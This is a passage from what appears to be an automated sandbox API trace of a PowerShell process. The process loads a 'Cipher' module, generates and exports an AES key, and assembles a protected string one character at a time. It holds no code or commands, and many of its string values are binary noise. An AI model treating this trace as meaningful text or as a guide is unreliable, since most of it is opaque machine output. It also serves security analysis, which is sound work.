lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.208] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.208] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.208] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.208] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.209] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\xe738\x99a\x1d5f\x73b9\x8a60\x7411") returned 0x0 [0127.209] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.209] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.209] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.209] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.210] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x42eb210) returned 1 [0127.211] CryptGenKey (in: hProv=0x42eb210, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84af8) returned 1 [0127.211] CryptContextAddRef (hProv=0x42eb210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.211] CryptExportKey (in: hKey=0x8e84af8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.211] CryptExportKey (in: hKey=0x8e84af8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69136f8, pdwDataLen=0x99ae788 | out: pbData=0x69136f8*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.211] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.211] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.211] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.212] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.212] SysStringLen (param_1="") returned 0x8 [0127.212] SysStringLen (param_1="L") returned 0x8 [0127.212] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.212] SysStringLen (param_1="\x18⽌㡺ﲛ뗪垸ၝᜐ") returned 0x8 [0127.212] SysStringLen (param_1="\x18⽌㡺ﲛ뗪垸ၝᜐ") returned 0x8 [0127.212] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.212] SysStringLen (param_1="Lr") returned 0x8 [0127.212] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.212] SysStringLen (param_1="\xa072\xf3a6\x914c\xcbac\xcff0\xd59\x9749\xd248") returned 0x8 [0127.212] SysStringLen (param_1="\xa072\xf3a6\x914c\xcbac\xcff0\xd59\x9749\xd248") returned 0x8 [0127.212] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.213] SysStringLen (param_1="LrW") returned 0x8 [0127.213] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.213] SysStringLen (param_1="\x856\xcb55\x9bdb\x45b\x557b\x9165\x9bc5\xa2af") returned 0x8 [0127.213] SysStringLen (param_1="\x856\xcb55\x9bdb\x45b\x557b\x9165\x9bc5\xa2af") returned 0x8 [0127.213] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.213] SysStringLen (param_1="LrWq") returned 0x8 [0127.213] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.213] SysStringLen (param_1="\xc27\x409e\xc138\xd8a5\x34bf\x45bf\x7079\xacec") returned 0x8 [0127.213] SysStringLen (param_1="\xc27\x409e\xc138\xd8a5\x34bf\x45bf\x7079\xacec") returned 0x8 [0127.213] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.213] SysStringLen (param_1="LrWqf") returned 0x8 [0127.213] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.213] SysStringLen (param_1="\x23c1\x56ec\x2879\x37f2\x41cc\x8cd0\xecb2\xcdd9") returned 0x8 [0127.213] SysStringLen (param_1="\x23c1\x56ec\x2879\x37f2\x41cc\x8cd0\xecb2\xcdd9") returned 0x8 [0127.213] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.213] SysStringLen (param_1="LrWqfW") returned 0x8 [0127.213] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.214] SysStringLen (param_1="⅑‟醆셈ᖨ碃⯇") returned 0x8 [0127.214] SysStringLen (param_1="⅑‟醆셈ᖨ碃⯇") returned 0x8 [0127.214] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.214] SysStringLen (param_1="LrWqfW3") returned 0x8 [0127.214] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.214] SysStringLen (param_1="\x6a28\xc3bb\xd140\x6363\x967c\xf735\x3fed\x383c") returned 0x8 [0127.214] SysStringLen (param_1="\x6a28\xc3bb\xd140\x6363\x967c\xf735\x3fed\x383c") returned 0x8 [0127.214] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.214] SysStringLen (param_1="LrWqfW3I") returned 0x8 [0127.214] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.214] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee") returned 0x8 [0127.214] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee") returned 0x8 [0127.214] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee") returned 0x8 [0127.214] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee") returned 0x10 [0127.214] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.214] SysStringLen (param_1="LrWqfW3Iq㻖᩼밄Ꝡ褔䄽") returned 0x10 [0127.214] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.214] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\x1ae0\x84f7\x7c0e\xc5b7\xb277\x136c\x980d\x8451") returned 0x10 [0127.214] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\x1ae0\x84f7\x7c0e\xc5b7\xb277\x136c\x980d\x8451") returned 0x10 [0127.215] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.215] SysStringLen (param_1="LrWqfW3IqS᩼밄Ꝡ褔䄽") returned 0x10 [0127.215] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.215] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xe4f1\x2f05\x912d\x1f5d\x77e2\x59c\xa58e\xf7a1") returned 0x10 [0127.215] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xe4f1\x2f05\x912d\x1f5d\x77e2\x59c\xa58e\xf7a1") returned 0x10 [0127.215] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.215] SysStringLen (param_1="LrWqfW3IqSn밄Ꝡ褔䄽") returned 0x10 [0127.215] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.215] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\x1fbc\x2a24\x2e3c\xc9aa\x7457\x26b9\x8896\x3695") returned 0x10 [0127.215] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\x1fbc\x2a24\x2e3c\xc9aa\x7457\x26b9\x8896\x3695") returned 0x10 [0127.215] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.215] SysStringLen (param_1="LrWqfW3IqSnu밄Ꝡ褔䄽") returned 0x10 [0127.215] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.215] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xcc5\x95a\x2286\xe654\x6d4c\x2857\xa94f\xce3f") returned 0x10 [0127.215] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xcc5\x95a\x2286\xe654\x6d4c\x2857\xa94f\xce3f") returned 0x10 [0127.215] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.215] SysStringLen (param_1="LrWqfW3IqSnuyꝠ褔䄽") returned 0x10 [0127.215] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.216] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\x85f3\xadd4\x1707\x5ba2\x7b1\xf022\xad21\x48b") returned 0x10 [0127.216] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\x85f3\xadd4\x1707\x5ba2\x7b1\xf022\xad21\x48b") returned 0x10 [0127.216] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.216] SysStringLen (param_1="LrWqfW3IqSnuyJ褔䄽") returned 0x10 [0127.216] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.216] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\x44c1\xebf9\x1b96\xb62e\xcb27\x482a\x338a\x8484") returned 0x10 [0127.216] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\x44c1\xebf9\x1b96\xb62e\xcb27\x482a\x338a\x8484") returned 0x10 [0127.216] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.216] SysStringLen (param_1="LrWqfW3IqSnuyJO䄽") returned 0x10 [0127.216] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.216] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\x70c0\x8405\xccfa\xcd2a\xbb64\xe1ae\x4a57\xb187") returned 0x10 [0127.216] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\x70c0\x8405\xccfa\xcd2a\xbb64\xe1ae\x4a57\xb187") returned 0x10 [0127.216] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.216] SysStringLen (param_1="LrWqfW3IqSnuyJO6") returned 0x10 [0127.216] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.216] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708") returned 0x10 [0127.216] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708") returned 0x10 [0127.217] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708") returned 0x10 [0127.217] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708") returned 0x18 [0127.217] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.217] SysStringLen (param_1="LrWqfW3IqSnuyJO6m㛙푯⣆鄡暷団柛") returned 0x18 [0127.217] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.217] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\x41e4\xf778\xf01e\xcbd3\xa2ab\xfddc\x202f\x9eb1") returned 0x18 [0127.217] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\x41e4\xf778\xf01e\xcbd3\xa2ab\xfddc\x202f\x9eb1") returned 0x18 [0127.217] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.217] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF푯⣆鄡暷団柛") returned 0x18 [0127.217] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.217] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\x8b73\x5d2e\x115a\x4c63\x3e3c\x7397\xa70e\x67b5") returned 0x18 [0127.217] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\x8b73\x5d2e\x115a\x4c63\x3e3c\x7397\xa70e\x67b5") returned 0x18 [0127.217] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.217] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5⣆鄡暷団柛") returned 0x18 [0127.217] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.217] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\x21f1\x7dc5\xf8fc\x2b37\x3afe\x1452\xd229\xfd48") returned 0x18 [0127.217] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\x21f1\x7dc5\xf8fc\x2b37\x3afe\x1452\xd229\xfd48") returned 0x18 [0127.217] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.218] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5T鄡暷団柛") returned 0x18 [0127.218] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.218] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\x1d47\xf425\xfc28\xd176\xf930\x8f93\x4adc\xf798") returned 0x18 [0127.218] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\x1d47\xf425\xfc28\xd176\xf930\x8f93\x4adc\xf798") returned 0x18 [0127.218] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.218] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti暷団柛") returned 0x18 [0127.218] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.218] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xe41c\x857f\xdfcb\x3486\x5dff\xb5d1\xc6bf\xf327") returned 0x18 [0127.218] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xe41c\x857f\xdfcb\x3486\x5dff\xb5d1\xc6bf\xf327") returned 0x18 [0127.218] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.218] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+団柛") returned 0x18 [0127.218] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.218] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\x4ada\xc1d4\x739a\x8eb4\x9533\xadba\xc30b\x4f28") returned 0x18 [0127.218] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\x4ada\xc1d4\x739a\x8eb4\x9533\xadba\xc30b\x4f28") returned 0x18 [0127.218] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.218] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z柛") returned 0x18 [0127.218] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.218] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xc818\x5f39\x4738\x55d4\xa0df\xc0f2\x28da\x8ea0") returned 0x18 [0127.218] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xc818\x5f39\x4738\x55d4\xa0df\xc0f2\x28da\x8ea0") returned 0x18 [0127.219] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.219] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6") returned 0x18 [0127.219] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.219] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a") returned 0x18 [0127.219] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a") returned 0x18 [0127.219] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a") returned 0x18 [0127.219] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a") returned 0x20 [0127.219] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.219] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6t౰ㆈὁ瀨⫽ᨮ胹") returned 0x20 [0127.219] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.219] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa762\xaa25\x18fb\x198a\x582d\xdee0\xd481\x8e19") returned 0x20 [0127.219] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa762\xaa25\x18fb\x198a\x582d\xdee0\xd481\x8e19") returned 0x20 [0127.219] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.219] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgㆈὁ瀨⫽ᨮ胹") returned 0x20 [0127.219] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.219] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\x5b9\x7573\x904a\x67cb\xd033\x82b3\x15b7\x28e9") returned 0x20 [0127.219] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\x5b9\x7573\x904a\x67cb\xd033\x82b3\x15b7\x28e9") returned 0x20 [0127.219] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.220] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqὁ瀨⫽ᨮ胹") returned 0x20 [0127.220] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.220] SysStringLen 